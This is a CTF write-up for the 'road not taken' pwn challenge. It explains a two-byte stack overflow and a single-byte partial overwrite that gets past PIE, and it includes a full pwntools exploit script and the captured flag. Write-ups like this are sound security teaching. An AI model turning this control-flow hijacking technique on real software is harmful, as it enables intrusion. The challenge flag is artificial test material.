The road not taken

to solve this challenge we have to overwrite a local variable in the stack to hijack the execution flow into the winning function but we will face some obstacles which are PIE and small overflowing space, in this writeup i will show off how to surpass them
File Reconnaissance :

opening the file using ghidra we can see three functions

main :

wrongdirection :

rightdirection :

Bug Explaining :
the bufferoverflow is in main function since it reads 522 bytes from a 520 bytes buffer so we have a room of 2 bytes to do some evil things
so the idea of this challenge is to overflow the buffer which is 520 bytes and overwrite the wrongdirection function address with the address of rightdirection function address to get the flag
but we have 2 problems
the first one is that we have PIE Protection enabled so the function addresses are changing whenever the binary runs
the second problem is we have only 2 bytes to overflow
Solution :
we know that PIE addresses changes whenever the binary loads but the last 3 nibbles (1.5 bytes) are fixed and the rest is the part getting randomized ,we can see that using gdb-pwndbg by running the command vmmap

note that the rightdirection and wrongdirection have the same base so if we can
change the last byte of wrongdirection to the last byte of rightdirection we win


like here we don't know what is the address of rightdirection function in the stack but we know that it will end in a 159
and because of little endianess we will overwrite a single byte of the wrongdirection address and this way we will hijack the execution flow and jump to rightdirection function instead of the wrongdirection function
to do that i have written a python script using python and pwntools
Exploit script :
#!/usr/bin/env python3
from pwn import *
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# Set up pwntools for the correct architecture
exe = './the_road_not_taken1'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
offset = 520 # offset to wrongdirection function
payload = flat(
b'A' * offset,
p8(0x59) # overwrite last byte of the wrongdirection function to make it jump to right direction
)
io.sendafter(b'flag?\n', payload)
io.interactive()
to calculate the offset to wrongdirection we can use ghidra

Executing the exploit remotely :

Flag :
nite{R0b3rT_fro5t_ftw_32dx5hp}
Last updated
Was this helpful?